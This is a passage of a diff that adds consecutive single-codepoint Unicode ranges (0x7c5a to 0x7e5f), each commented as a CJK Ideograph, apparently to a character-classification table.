+ [0x7c5a, 0x7c5a], /* CJK Ideograph */
+ [0x7c5b, 0x7c5b], /* CJK Ideograph */
+ [0x7c5c, 0x7c5c], /* CJK Ideograph */
+ [0x7c5d, 0x7c5d], /* CJK Ideograph */
+ [0x7c5e, 0x7c5e], /* CJK Ideograph */
+ [0x7c5f, 0x7c5f], /* CJK Ideograph */
+ [0x7c60, 0x7c60], /* CJK Ideograph */
+ [0x7c61, 0x7c61], /* CJK Ideograph */
+ [0x7c62, 0x7c62], /* CJK Ideograph */
+ [0x7c63, 0x7c63], /* CJK Ideograph */
+ [0x7c64, 0x7c64], /* CJK Ideograph */
+ [0x7c65, 0x7c65], /* CJK Ideograph */
+ [0x7c66, 0x7c66], /* CJK Ideograph */
+ [0x7c67, 0x7c67], /* CJK Ideograph */
+ [0x7c68, 0x7c68], /* CJK Ideograph */
+ [0x7c69, 0x7c69], /* CJK Ideograph */
+ [0x7c6a, 0x7c6a], /* CJK Ideograph */
+ [0x7c6b, 0x7c6b], /* CJK Ideograph */
+ [0x7c6c, 0x7c6c], /* CJK Ideograph */
+ [0x7c6d, 0x7c6d], /* CJK Ideograph */
+ [0x7c6e, 0x7c6e], /* CJK Ideograph */
+ [0x7c6f, 0x7c6f], /* CJK Ideograph */
+ [0x7c70, 0x7c70], /* CJK Ideograph */
+ [0x7c71, 0x7c71], /* CJK Ideograph */
+ [0x7c72, 0x7c72], /* CJK Ideograph */
+ [0x7c73, 0x7c73], /* CJK Ideograph */
+ [0x7c74, 0x7c74], /* CJK Ideograph */
+ [0x7c75, 0x7c75], /* CJK Ideograph */
+ [0x7c76, 0x7c76], /* CJK Ideograph */
+ [0x7c77, 0x7c77], /* CJK Ideograph */
+ [0x7c78, 0x7c78], /* CJK Ideograph */
+ [0x7c79, 0x7c79], /* CJK Ideograph */
+ [0x7c7a, 0x7c7a], /* CJK Ideograph */
+ [0x7c7b, 0x7c7b], /* CJK Ideograph */
+ [0x7c7c, 0x7c7c], /* CJK Ideograph */
+ [0x7c7d, 0x7c7d], /* CJK Ideograph */
+ [0x7c7e, 0x7c7e], /* CJK Ideograph */
+ [0x7c7f, 0x7c7f], /* CJK Ideograph */
+ [0x7c80, 0x7c80], /* CJK Ideograph */
+ [0x7c81, 0x7c81], /* CJK Ideograph */
+ [0x7c82, 0x7c82], /* CJK Ideograph */
+ [0x7c83, 0x7c83], /* CJK Ideograph */
+ [0x7c84, 0x7c84], /* CJK Ideograph */
+ [0x7c85, 0x7c85], /* CJK Ideograph */
+ [0x7c86, 0x7c86], /* CJK Ideograph */
+ [0x7c87, 0x7c87], /* CJK Ideograph */
+ [0x7c88, 0x7c88], /* CJK Ideograph */
+ [0x7c89, 0x7c89], /* CJK Ideograph */
+ [0x7c8a, 0x7c8a], /* CJK Ideograph */
+ [0x7c8b, 0x7c8b], /* CJK Ideograph */
+ [0x7c8c, 0x7c8c], /* CJK Ideograph */
+ [0x7c8d, 0x7c8d], /* CJK Ideograph */
+ [0x7c8e, 0x7c8e], /* CJK Ideograph */
+ [0x7c8f, 0x7c8f], /* CJK Ideograph */
+ [0x7c90, 0x7c90], /* CJK Ideograph */
+ [0x7c91, 0x7c91], /* CJK Ideograph */
+ [0x7c92, 0x7c92], /* CJK Ideograph */
+ [0x7c93, 0x7c93], /* CJK Ideograph */
+ [0x7c94, 0x7c94], /* CJK Ideograph */
+ [0x7c95, 0x7c95], /* CJK Ideograph */
+ [0x7c96, 0x7c96], /* CJK Ideograph */
+ [0x7c97, 0x7c97], /* CJK Ideograph */
+ [0x7c98, 0x7c98], /* CJK Ideograph */
+ [0x7c99, 0x7c99], /* CJK Ideograph */
+ [0x7c9a, 0x7c9a], /* CJK Ideograph */
+ [0x7c9b, 0x7c9b], /* CJK Ideograph */
+ [0x7c9c, 0x7c9c], /* CJK Ideograph */
+ [0x7c9d, 0x7c9d], /* CJK Ideograph */
+ [0x7c9e, 0x7c9e], /* CJK Ideograph */
+ [0x7c9f, 0x7c9f], /* CJK Ideograph */
+ [0x7ca0, 0x7ca0], /* CJK Ideograph */
+ [0x7ca1, 0x7ca1], /* CJK Ideograph */
+ [0x7ca2, 0x7ca2], /* CJK Ideograph */
+ [0x7ca3, 0x7ca3], /* CJK Ideograph */
+ [0x7ca4, 0x7ca4], /* CJK Ideograph */
+ [0x7ca5, 0x7ca5], /* CJK Ideograph */
+ [0x7ca6, 0x7ca6], /* CJK Ideograph */
+ [0x7ca7, 0x7ca7], /* CJK Ideograph */
+ [0x7ca8, 0x7ca8], /* CJK Ideograph */
+ [0x7ca9, 0x7ca9], /* CJK Ideograph */
+ [0x7caa, 0x7caa], /* CJK Ideograph */
+ [0x7cab, 0x7cab], /* CJK Ideograph */
+ [0x7cac, 0x7cac], /* CJK Ideograph */
+ [0x7cad, 0x7cad], /* CJK Ideograph */
+ [0x7cae, 0x7cae], /* CJK Ideograph */
+ [0x7caf, 0x7caf], /* CJK Ideograph */
+ [0x7cb0, 0x7cb0], /* CJK Ideograph */
+ [0x7cb1, 0x7cb1], /* CJK Ideograph */
+ [0x7cb2, 0x7cb2], /* CJK Ideograph */
+ [0x7cb3, 0x7cb3], /* CJK Ideograph */
+ [0x7cb4, 0x7cb4], /* CJK Ideograph */
+ [0x7cb5, 0x7cb5], /* CJK Ideograph */
+ [0x7cb6, 0x7cb6], /* CJK Ideograph */
+ [0x7cb7, 0x7cb7], /* CJK Ideograph */
+ [0x7cb8, 0x7cb8], /* CJK Ideograph */
+ [0x7cb9, 0x7cb9], /* CJK Ideograph */
+ [0x7cba, 0x7cba], /* CJK Ideograph */
+ [0x7cbb, 0x7cbb], /* CJK Ideograph */
+ [0x7cbc, 0x7cbc], /* CJK Ideograph */
+ [0x7cbd, 0x7cbd], /* CJK Ideograph */
+ [0x7cbe, 0x7cbe], /* CJK Ideograph */
+ [0x7cbf, 0x7cbf], /* CJK Ideograph */
+ [0x7cc0, 0x7cc0], /* CJK Ideograph */
+ [0x7cc1, 0x7cc1], /* CJK Ideograph */
+ [0x7cc2, 0x7cc2], /* CJK Ideograph */
+ [0x7cc3, 0x7cc3], /* CJK Ideograph */
+ [0x7cc4, 0x7cc4], /* CJK Ideograph */
+ [0x7cc5, 0x7cc5], /* CJK Ideograph */
+ [0x7cc6, 0x7cc6], /* CJK Ideograph */
+ [0x7cc7, 0x7cc7], /* CJK Ideograph */
+ [0x7cc8, 0x7cc8], /* CJK Ideograph */
+ [0x7cc9, 0x7cc9], /* CJK Ideograph */
+ [0x7cca, 0x7cca], /* CJK Ideograph */
+ [0x7ccb, 0x7ccb], /* CJK Ideograph */
+ [0x7ccc, 0x7ccc], /* CJK Ideograph */
+ [0x7ccd, 0x7ccd], /* CJK Ideograph */
+ [0x7cce, 0x7cce], /* CJK Ideograph */
+ [0x7ccf, 0x7ccf], /* CJK Ideograph */
+ [0x7cd0, 0x7cd0], /* CJK Ideograph */
+ [0x7cd1, 0x7cd1], /* CJK Ideograph */
+ [0x7cd2, 0x7cd2], /* CJK Ideograph */
+ [0x7cd3, 0x7cd3], /* CJK Ideograph */
+ [0x7cd4, 0x7cd4], /* CJK Ideograph */
+ [0x7cd5, 0x7cd5], /* CJK Ideograph */
+ [0x7cd6, 0x7cd6], /* CJK Ideograph */
+ [0x7cd7, 0x7cd7], /* CJK Ideograph */
+ [0x7cd8, 0x7cd8], /* CJK Ideograph */
+ [0x7cd9, 0x7cd9], /* CJK Ideograph */
+ [0x7cda, 0x7cda], /* CJK Ideograph */
+ [0x7cdb, 0x7cdb], /* CJK Ideograph */
+ [0x7cdc, 0x7cdc], /* CJK Ideograph */
+ [0x7cdd, 0x7cdd], /* CJK Ideograph */
+ [0x7cde, 0x7cde], /* CJK Ideograph */
+ [0x7cdf, 0x7cdf], /* CJK Ideograph */
+ [0x7ce0, 0x7ce0], /* CJK Ideograph */
+ [0x7ce1, 0x7ce1], /* CJK Ideograph */
+ [0x7ce2, 0x7ce2], /* CJK Ideograph */
+ [0x7ce3, 0x7ce3], /* CJK Ideograph */
+ [0x7ce4, 0x7ce4], /* CJK Ideograph */
+ [0x7ce5, 0x7ce5], /* CJK Ideograph */
+ [0x7ce6, 0x7ce6], /* CJK Ideograph */
+ [0x7ce7, 0x7ce7], /* CJK Ideograph */
+ [0x7ce8, 0x7ce8], /* CJK Ideograph */
+ [0x7ce9, 0x7ce9], /* CJK Ideograph */
+ [0x7cea, 0x7cea], /* CJK Ideograph */
+ [0x7ceb, 0x7ceb], /* CJK Ideograph */
+ [0x7cec, 0x7cec], /* CJK Ideograph */
+ [0x7ced, 0x7ced], /* CJK Ideograph */
+ [0x7cee, 0x7cee], /* CJK Ideograph */
+ [0x7cef, 0x7cef], /* CJK Ideograph */
+ [0x7cf0, 0x7cf0], /* CJK Ideograph */
+ [0x7cf1, 0x7cf1], /* CJK Ideograph */
+ [0x7cf2, 0x7cf2], /* CJK Ideograph */
+ [0x7cf3, 0x7cf3], /* CJK Ideograph */
+ [0x7cf4, 0x7cf4], /* CJK Ideograph */
+ [0x7cf5, 0x7cf5], /* CJK Ideograph */
+ [0x7cf6, 0x7cf6], /* CJK Ideograph */
+ [0x7cf7, 0x7cf7], /* CJK Ideograph */
+ [0x7cf8, 0x7cf8], /* CJK Ideograph */
+ [0x7cf9, 0x7cf9], /* CJK Ideograph */
+ [0x7cfa, 0x7cfa], /* CJK Ideograph */
+ [0x7cfb, 0x7cfb], /* CJK Ideograph */
+ [0x7cfc, 0x7cfc], /* CJK Ideograph */
+ [0x7cfd, 0x7cfd], /* CJK Ideograph */
+ [0x7cfe, 0x7cfe], /* CJK Ideograph */
+ [0x7cff, 0x7cff], /* CJK Ideograph */
+ [0x7d00, 0x7d00], /* CJK Ideograph */
+ [0x7d01, 0x7d01], /* CJK Ideograph */
+ [0x7d02, 0x7d02], /* CJK Ideograph */
+ [0x7d03, 0x7d03], /* CJK Ideograph */
+ [0x7d04, 0x7d04], /* CJK Ideograph */
+ [0x7d05, 0x7d05], /* CJK Ideograph */
+ [0x7d06, 0x7d06], /* CJK Ideograph */
+ [0x7d07, 0x7d07], /* CJK Ideograph */
+ [0x7d08, 0x7d08], /* CJK Ideograph */
+ [0x7d09, 0x7d09], /* CJK Ideograph */
+ [0x7d0a, 0x7d0a], /* CJK Ideograph */
+ [0x7d0b, 0x7d0b], /* CJK Ideograph */
+ [0x7d0c, 0x7d0c], /* CJK Ideograph */
+ [0x7d0d, 0x7d0d], /* CJK Ideograph */
+ [0x7d0e, 0x7d0e], /* CJK Ideograph */
+ [0x7d0f, 0x7d0f], /* CJK Ideograph */
+ [0x7d10, 0x7d10], /* CJK Ideograph */
+ [0x7d11, 0x7d11], /* CJK Ideograph */
+ [0x7d12, 0x7d12], /* CJK Ideograph */
+ [0x7d13, 0x7d13], /* CJK Ideograph */
+ [0x7d14, 0x7d14], /* CJK Ideograph */
+ [0x7d15, 0x7d15], /* CJK Ideograph */
+ [0x7d16, 0x7d16], /* CJK Ideograph */
+ [0x7d17, 0x7d17], /* CJK Ideograph */
+ [0x7d18, 0x7d18], /* CJK Ideograph */
+ [0x7d19, 0x7d19], /* CJK Ideograph */
+ [0x7d1a, 0x7d1a], /* CJK Ideograph */
+ [0x7d1b, 0x7d1b], /* CJK Ideograph */
+ [0x7d1c, 0x7d1c], /* CJK Ideograph */
+ [0x7d1d, 0x7d1d], /* CJK Ideograph */
+ [0x7d1e, 0x7d1e], /* CJK Ideograph */
+ [0x7d1f, 0x7d1f], /* CJK Ideograph */
+ [0x7d20, 0x7d20], /* CJK Ideograph */
+ [0x7d21, 0x7d21], /* CJK Ideograph */
+ [0x7d22, 0x7d22], /* CJK Ideograph */
+ [0x7d23, 0x7d23], /* CJK Ideograph */
+ [0x7d24, 0x7d24], /* CJK Ideograph */
+ [0x7d25, 0x7d25], /* CJK Ideograph */
+ [0x7d26, 0x7d26], /* CJK Ideograph */
+ [0x7d27, 0x7d27], /* CJK Ideograph */
+ [0x7d28, 0x7d28], /* CJK Ideograph */
+ [0x7d29, 0x7d29], /* CJK Ideograph */
+ [0x7d2a, 0x7d2a], /* CJK Ideograph */
+ [0x7d2b, 0x7d2b], /* CJK Ideograph */
+ [0x7d2c, 0x7d2c], /* CJK Ideograph */
+ [0x7d2d, 0x7d2d], /* CJK Ideograph */
+ [0x7d2e, 0x7d2e], /* CJK Ideograph */
+ [0x7d2f, 0x7d2f], /* CJK Ideograph */
+ [0x7d30, 0x7d30], /* CJK Ideograph */
+ [0x7d31, 0x7d31], /* CJK Ideograph */
+ [0x7d32, 0x7d32], /* CJK Ideograph */
+ [0x7d33, 0x7d33], /* CJK Ideograph */
+ [0x7d34, 0x7d34], /* CJK Ideograph */
+ [0x7d35, 0x7d35], /* CJK Ideograph */
+ [0x7d36, 0x7d36], /* CJK Ideograph */
+ [0x7d37, 0x7d37], /* CJK Ideograph */
+ [0x7d38, 0x7d38], /* CJK Ideograph */
+ [0x7d39, 0x7d39], /* CJK Ideograph */
+ [0x7d3a, 0x7d3a], /* CJK Ideograph */
+ [0x7d3b, 0x7d3b], /* CJK Ideograph */
+ [0x7d3c, 0x7d3c], /* CJK Ideograph */
+ [0x7d3d, 0x7d3d], /* CJK Ideograph */
+ [0x7d3e, 0x7d3e], /* CJK Ideograph */
+ [0x7d3f, 0x7d3f], /* CJK Ideograph */
+ [0x7d40, 0x7d40], /* CJK Ideograph */
+ [0x7d41, 0x7d41], /* CJK Ideograph */
+ [0x7d42, 0x7d42], /* CJK Ideograph */
+ [0x7d43, 0x7d43], /* CJK Ideograph */
+ [0x7d44, 0x7d44], /* CJK Ideograph */
+ [0x7d45, 0x7d45], /* CJK Ideograph */
+ [0x7d46, 0x7d46], /* CJK Ideograph */
+ [0x7d47, 0x7d47], /* CJK Ideograph */
+ [0x7d48, 0x7d48], /* CJK Ideograph */
+ [0x7d49, 0x7d49], /* CJK Ideograph */
+ [0x7d4a, 0x7d4a], /* CJK Ideograph */
+ [0x7d4b, 0x7d4b], /* CJK Ideograph */
+ [0x7d4c, 0x7d4c], /* CJK Ideograph */
+ [0x7d4d, 0x7d4d], /* CJK Ideograph */
+ [0x7d4e, 0x7d4e], /* CJK Ideograph */
+ [0x7d4f, 0x7d4f], /* CJK Ideograph */
+ [0x7d50, 0x7d50], /* CJK Ideograph */
+ [0x7d51, 0x7d51], /* CJK Ideograph */
+ [0x7d52, 0x7d52], /* CJK Ideograph */
+ [0x7d53, 0x7d53], /* CJK Ideograph */
+ [0x7d54, 0x7d54], /* CJK Ideograph */
+ [0x7d55, 0x7d55], /* CJK Ideograph */
+ [0x7d56, 0x7d56], /* CJK Ideograph */
+ [0x7d57, 0x7d57], /* CJK Ideograph */
+ [0x7d58, 0x7d58], /* CJK Ideograph */
+ [0x7d59, 0x7d59], /* CJK Ideograph */
+ [0x7d5a, 0x7d5a], /* CJK Ideograph */
+ [0x7d5b, 0x7d5b], /* CJK Ideograph */
+ [0x7d5c, 0x7d5c], /* CJK Ideograph */
+ [0x7d5d, 0x7d5d], /* CJK Ideograph */
+ [0x7d5e, 0x7d5e], /* CJK Ideograph */
+ [0x7d5f, 0x7d5f], /* CJK Ideograph */
+ [0x7d60, 0x7d60], /* CJK Ideograph */
+ [0x7d61, 0x7d61], /* CJK Ideograph */
+ [0x7d62, 0x7d62], /* CJK Ideograph */
+ [0x7d63, 0x7d63], /* CJK Ideograph */
+ [0x7d64, 0x7d64], /* CJK Ideograph */
+ [0x7d65, 0x7d65], /* CJK Ideograph */
+ [0x7d66, 0x7d66], /* CJK Ideograph */
+ [0x7d67, 0x7d67], /* CJK Ideograph */
+ [0x7d68, 0x7d68], /* CJK Ideograph */
+ [0x7d69, 0x7d69], /* CJK Ideograph */
+ [0x7d6a, 0x7d6a], /* CJK Ideograph */
+ [0x7d6b, 0x7d6b], /* CJK Ideograph */
+ [0x7d6c, 0x7d6c], /* CJK Ideograph */
+ [0x7d6d, 0x7d6d], /* CJK Ideograph */
+ [0x7d6e, 0x7d6e], /* CJK Ideograph */
+ [0x7d6f, 0x7d6f], /* CJK Ideograph */
+ [0x7d70, 0x7d70], /* CJK Ideograph */
+ [0x7d71, 0x7d71], /* CJK Ideograph */
+ [0x7d72, 0x7d72], /* CJK Ideograph */
+ [0x7d73, 0x7d73], /* CJK Ideograph */
+ [0x7d74, 0x7d74], /* CJK Ideograph */
+ [0x7d75, 0x7d75], /* CJK Ideograph */
+ [0x7d76, 0x7d76], /* CJK Ideograph */
+ [0x7d77, 0x7d77], /* CJK Ideograph */
+ [0x7d78, 0x7d78], /* CJK Ideograph */
+ [0x7d79, 0x7d79], /* CJK Ideograph */
+ [0x7d7a, 0x7d7a], /* CJK Ideograph */
+ [0x7d7b, 0x7d7b], /* CJK Ideograph */
+ [0x7d7c, 0x7d7c], /* CJK Ideograph */
+ [0x7d7d, 0x7d7d], /* CJK Ideograph */
+ [0x7d7e, 0x7d7e], /* CJK Ideograph */
+ [0x7d7f, 0x7d7f], /* CJK Ideograph */
+ [0x7d80, 0x7d80], /* CJK Ideograph */
+ [0x7d81, 0x7d81], /* CJK Ideograph */
+ [0x7d82, 0x7d82], /* CJK Ideograph */
+ [0x7d83, 0x7d83], /* CJK Ideograph */
+ [0x7d84, 0x7d84], /* CJK Ideograph */
+ [0x7d85, 0x7d85], /* CJK Ideograph */
+ [0x7d86, 0x7d86], /* CJK Ideograph */
+ [0x7d87, 0x7d87], /* CJK Ideograph */
+ [0x7d88, 0x7d88], /* CJK Ideograph */
+ [0x7d89, 0x7d89], /* CJK Ideograph */
+ [0x7d8a, 0x7d8a], /* CJK Ideograph */
+ [0x7d8b, 0x7d8b], /* CJK Ideograph */
+ [0x7d8c, 0x7d8c], /* CJK Ideograph */
+ [0x7d8d, 0x7d8d], /* CJK Ideograph */
+ [0x7d8e, 0x7d8e], /* CJK Ideograph */
+ [0x7d8f, 0x7d8f], /* CJK Ideograph */
+ [0x7d90, 0x7d90], /* CJK Ideograph */
+ [0x7d91, 0x7d91], /* CJK Ideograph */
+ [0x7d92, 0x7d92], /* CJK Ideograph */
+ [0x7d93, 0x7d93], /* CJK Ideograph */
+ [0x7d94, 0x7d94], /* CJK Ideograph */
+ [0x7d95, 0x7d95], /* CJK Ideograph */
+ [0x7d96, 0x7d96], /* CJK Ideograph */
+ [0x7d97, 0x7d97], /* CJK Ideograph */
+ [0x7d98, 0x7d98], /* CJK Ideograph */
+ [0x7d99, 0x7d99], /* CJK Ideograph */
+ [0x7d9a, 0x7d9a], /* CJK Ideograph */
+ [0x7d9b, 0x7d9b], /* CJK Ideograph */
+ [0x7d9c, 0x7d9c], /* CJK Ideograph */
+ [0x7d9d, 0x7d9d], /* CJK Ideograph */
+ [0x7d9e, 0x7d9e], /* CJK Ideograph */
+ [0x7d9f, 0x7d9f], /* CJK Ideograph */
+ [0x7da0, 0x7da0], /* CJK Ideograph */
+ [0x7da1, 0x7da1], /* CJK Ideograph */
+ [0x7da2, 0x7da2], /* CJK Ideograph */
+ [0x7da3, 0x7da3], /* CJK Ideograph */
+ [0x7da4, 0x7da4], /* CJK Ideograph */
+ [0x7da5, 0x7da5], /* CJK Ideograph */
+ [0x7da6, 0x7da6], /* CJK Ideograph */
+ [0x7da7, 0x7da7], /* CJK Ideograph */
+ [0x7da8, 0x7da8], /* CJK Ideograph */
+ [0x7da9, 0x7da9], /* CJK Ideograph */
+ [0x7daa, 0x7daa], /* CJK Ideograph */
+ [0x7dab, 0x7dab], /* CJK Ideograph */
+ [0x7dac, 0x7dac], /* CJK Ideograph */
+ [0x7dad, 0x7dad], /* CJK Ideograph */
+ [0x7dae, 0x7dae], /* CJK Ideograph */
+ [0x7daf, 0x7daf], /* CJK Ideograph */
+ [0x7db0, 0x7db0], /* CJK Ideograph */
+ [0x7db1, 0x7db1], /* CJK Ideograph */
+ [0x7db2, 0x7db2], /* CJK Ideograph */
+ [0x7db3, 0x7db3], /* CJK Ideograph */
+ [0x7db4, 0x7db4], /* CJK Ideograph */
+ [0x7db5, 0x7db5], /* CJK Ideograph */
+ [0x7db6, 0x7db6], /* CJK Ideograph */
+ [0x7db7, 0x7db7], /* CJK Ideograph */
+ [0x7db8, 0x7db8], /* CJK Ideograph */
+ [0x7db9, 0x7db9], /* CJK Ideograph */
+ [0x7dba, 0x7dba], /* CJK Ideograph */
+ [0x7dbb, 0x7dbb], /* CJK Ideograph */
+ [0x7dbc, 0x7dbc], /* CJK Ideograph */
+ [0x7dbd, 0x7dbd], /* CJK Ideograph */
+ [0x7dbe, 0x7dbe], /* CJK Ideograph */
+ [0x7dbf, 0x7dbf], /* CJK Ideograph */
+ [0x7dc0, 0x7dc0], /* CJK Ideograph */
+ [0x7dc1, 0x7dc1], /* CJK Ideograph */
+ [0x7dc2, 0x7dc2], /* CJK Ideograph */
+ [0x7dc3, 0x7dc3], /* CJK Ideograph */
+ [0x7dc4, 0x7dc4], /* CJK Ideograph */
+ [0x7dc5, 0x7dc5], /* CJK Ideograph */
+ [0x7dc6, 0x7dc6], /* CJK Ideograph */
+ [0x7dc7, 0x7dc7], /* CJK Ideograph */
+ [0x7dc8, 0x7dc8], /* CJK Ideograph */
+ [0x7dc9, 0x7dc9], /* CJK Ideograph */
+ [0x7dca, 0x7dca], /* CJK Ideograph */
+ [0x7dcb, 0x7dcb], /* CJK Ideograph */
+ [0x7dcc, 0x7dcc], /* CJK Ideograph */
+ [0x7dcd, 0x7dcd], /* CJK Ideograph */
+ [0x7dce, 0x7dce], /* CJK Ideograph */
+ [0x7dcf, 0x7dcf], /* CJK Ideograph */
+ [0x7dd0, 0x7dd0], /* CJK Ideograph */
+ [0x7dd1, 0x7dd1], /* CJK Ideograph */
+ [0x7dd2, 0x7dd2], /* CJK Ideograph */
+ [0x7dd3, 0x7dd3], /* CJK Ideograph */
+ [0x7dd4, 0x7dd4], /* CJK Ideograph */
+ [0x7dd5, 0x7dd5], /* CJK Ideograph */
+ [0x7dd6, 0x7dd6], /* CJK Ideograph */
+ [0x7dd7, 0x7dd7], /* CJK Ideograph */
+ [0x7dd8, 0x7dd8], /* CJK Ideograph */
+ [0x7dd9, 0x7dd9], /* CJK Ideograph */
+ [0x7dda, 0x7dda], /* CJK Ideograph */
+ [0x7ddb, 0x7ddb], /* CJK Ideograph */
+ [0x7ddc, 0x7ddc], /* CJK Ideograph */
+ [0x7ddd, 0x7ddd], /* CJK Ideograph */
+ [0x7dde, 0x7dde], /* CJK Ideograph */
+ [0x7ddf, 0x7ddf], /* CJK Ideograph */
+ [0x7de0, 0x7de0], /* CJK Ideograph */
+ [0x7de1, 0x7de1], /* CJK Ideograph */
+ [0x7de2, 0x7de2], /* CJK Ideograph */
+ [0x7de3, 0x7de3], /* CJK Ideograph */
+ [0x7de4, 0x7de4], /* CJK Ideograph */
+ [0x7de5, 0x7de5], /* CJK Ideograph */
+ [0x7de6, 0x7de6], /* CJK Ideograph */
+ [0x7de7, 0x7de7], /* CJK Ideograph */
+ [0x7de8, 0x7de8], /* CJK Ideograph */
+ [0x7de9, 0x7de9], /* CJK Ideograph */
+ [0x7dea, 0x7dea], /* CJK Ideograph */
+ [0x7deb, 0x7deb], /* CJK Ideograph */
+ [0x7dec, 0x7dec], /* CJK Ideograph */
+ [0x7ded, 0x7ded], /* CJK Ideograph */
+ [0x7dee, 0x7dee], /* CJK Ideograph */
+ [0x7def, 0x7def], /* CJK Ideograph */
+ [0x7df0, 0x7df0], /* CJK Ideograph */
+ [0x7df1, 0x7df1], /* CJK Ideograph */
+ [0x7df2, 0x7df2], /* CJK Ideograph */
+ [0x7df3, 0x7df3], /* CJK Ideograph */
+ [0x7df4, 0x7df4], /* CJK Ideograph */
+ [0x7df5, 0x7df5], /* CJK Ideograph */
+ [0x7df6, 0x7df6], /* CJK Ideograph */
+ [0x7df7, 0x7df7], /* CJK Ideograph */
+ [0x7df8, 0x7df8], /* CJK Ideograph */
+ [0x7df9, 0x7df9], /* CJK Ideograph */
+ [0x7dfa, 0x7dfa], /* CJK Ideograph */
+ [0x7dfb, 0x7dfb], /* CJK Ideograph */
+ [0x7dfc, 0x7dfc], /* CJK Ideograph */
+ [0x7dfd, 0x7dfd], /* CJK Ideograph */
+ [0x7dfe, 0x7dfe], /* CJK Ideograph */
+ [0x7dff, 0x7dff], /* CJK Ideograph */
+ [0x7e00, 0x7e00], /* CJK Ideograph */
+ [0x7e01, 0x7e01], /* CJK Ideograph */
+ [0x7e02, 0x7e02], /* CJK Ideograph */
+ [0x7e03, 0x7e03], /* CJK Ideograph */
+ [0x7e04, 0x7e04], /* CJK Ideograph */
+ [0x7e05, 0x7e05], /* CJK Ideograph */
+ [0x7e06, 0x7e06], /* CJK Ideograph */
+ [0x7e07, 0x7e07], /* CJK Ideograph */
+ [0x7e08, 0x7e08], /* CJK Ideograph */
+ [0x7e09, 0x7e09], /* CJK Ideograph */
+ [0x7e0a, 0x7e0a], /* CJK Ideograph */
+ [0x7e0b, 0x7e0b], /* CJK Ideograph */
+ [0x7e0c, 0x7e0c], /* CJK Ideograph */
+ [0x7e0d, 0x7e0d], /* CJK Ideograph */
+ [0x7e0e, 0x7e0e], /* CJK Ideograph */
+ [0x7e0f, 0x7e0f], /* CJK Ideograph */
+ [0x7e10, 0x7e10], /* CJK Ideograph */
+ [0x7e11, 0x7e11], /* CJK Ideograph */
+ [0x7e12, 0x7e12], /* CJK Ideograph */
+ [0x7e13, 0x7e13], /* CJK Ideograph */
+ [0x7e14, 0x7e14], /* CJK Ideograph */
+ [0x7e15, 0x7e15], /* CJK Ideograph */
+ [0x7e16, 0x7e16], /* CJK Ideograph */
+ [0x7e17, 0x7e17], /* CJK Ideograph */
+ [0x7e18, 0x7e18], /* CJK Ideograph */
+ [0x7e19, 0x7e19], /* CJK Ideograph */
+ [0x7e1a, 0x7e1a], /* CJK Ideograph */
+ [0x7e1b, 0x7e1b], /* CJK Ideograph */
+ [0x7e1c, 0x7e1c], /* CJK Ideograph */
+ [0x7e1d, 0x7e1d], /* CJK Ideograph */
+ [0x7e1e, 0x7e1e], /* CJK Ideograph */
+ [0x7e1f, 0x7e1f], /* CJK Ideograph */
+ [0x7e20, 0x7e20], /* CJK Ideograph */
+ [0x7e21, 0x7e21], /* CJK Ideograph */
+ [0x7e22, 0x7e22], /* CJK Ideograph */
+ [0x7e23, 0x7e23], /* CJK Ideograph */
+ [0x7e24, 0x7e24], /* CJK Ideograph */
+ [0x7e25, 0x7e25], /* CJK Ideograph */
+ [0x7e26, 0x7e26], /* CJK Ideograph */
+ [0x7e27, 0x7e27], /* CJK Ideograph */
+ [0x7e28, 0x7e28], /* CJK Ideograph */
+ [0x7e29, 0x7e29], /* CJK Ideograph */
+ [0x7e2a, 0x7e2a], /* CJK Ideograph */
+ [0x7e2b, 0x7e2b], /* CJK Ideograph */
+ [0x7e2c, 0x7e2c], /* CJK Ideograph */
+ [0x7e2d, 0x7e2d], /* CJK Ideograph */
+ [0x7e2e, 0x7e2e], /* CJK Ideograph */
+ [0x7e2f, 0x7e2f], /* CJK Ideograph */
+ [0x7e30, 0x7e30], /* CJK Ideograph */
+ [0x7e31, 0x7e31], /* CJK Ideograph */
+ [0x7e32, 0x7e32], /* CJK Ideograph */
+ [0x7e33, 0x7e33], /* CJK Ideograph */
+ [0x7e34, 0x7e34], /* CJK Ideograph */
+ [0x7e35, 0x7e35], /* CJK Ideograph */
+ [0x7e36, 0x7e36], /* CJK Ideograph */
+ [0x7e37, 0x7e37], /* CJK Ideograph */
+ [0x7e38, 0x7e38], /* CJK Ideograph */
+ [0x7e39, 0x7e39], /* CJK Ideograph */
+ [0x7e3a, 0x7e3a], /* CJK Ideograph */
+ [0x7e3b, 0x7e3b], /* CJK Ideograph */
+ [0x7e3c, 0x7e3c], /* CJK Ideograph */
+ [0x7e3d, 0x7e3d], /* CJK Ideograph */
+ [0x7e3e, 0x7e3e], /* CJK Ideograph */
+ [0x7e3f, 0x7e3f], /* CJK Ideograph */
+ [0x7e40, 0x7e40], /* CJK Ideograph */
+ [0x7e41, 0x7e41], /* CJK Ideograph */
+ [0x7e42, 0x7e42], /* CJK Ideograph */
+ [0x7e43, 0x7e43], /* CJK Ideograph */
+ [0x7e44, 0x7e44], /* CJK Ideograph */
+ [0x7e45, 0x7e45], /* CJK Ideograph */
+ [0x7e46, 0x7e46], /* CJK Ideograph */
+ [0x7e47, 0x7e47], /* CJK Ideograph */
+ [0x7e48, 0x7e48], /* CJK Ideograph */
+ [0x7e49, 0x7e49], /* CJK Ideograph */
+ [0x7e4a, 0x7e4a], /* CJK Ideograph */
+ [0x7e4b, 0x7e4b], /* CJK Ideograph */
+ [0x7e4c, 0x7e4c], /* CJK Ideograph */
+ [0x7e4d, 0x7e4d], /* CJK Ideograph */
+ [0x7e4e, 0x7e4e], /* CJK Ideograph */
+ [0x7e4f, 0x7e4f], /* CJK Ideograph */
+ [0x7e50, 0x7e50], /* CJK Ideograph */
+ [0x7e51, 0x7e51], /* CJK Ideograph */
+ [0x7e52, 0x7e52], /* CJK Ideograph */
+ [0x7e53, 0x7e53], /* CJK Ideograph */
+ [0x7e54, 0x7e54], /* CJK Ideograph */
+ [0x7e55, 0x7e55], /* CJK Ideograph */
+ [0x7e56, 0x7e56], /* CJK Ideograph */
+ [0x7e57, 0x7e57], /* CJK Ideograph */
+ [0x7e58, 0x7e58], /* CJK Ideograph */
+ [0x7e59, 0x7e59], /* CJK Ideograph */
+ [0x7e5a, 0x7e5a], /* CJK Ideograph */
+ [0x7e5b, 0x7e5b], /* CJK Ideograph */
+ [0x7e5c, 0x7e5c], /* CJK Ideograph */
+ [0x7e5d, 0x7e5d], /* CJK Ideograph */
+ [0x7e5e, 0x7e5e], /* CJK Ideograph */
+ [0x7e5f, 0x7e5f], /* CJK Ideograph */
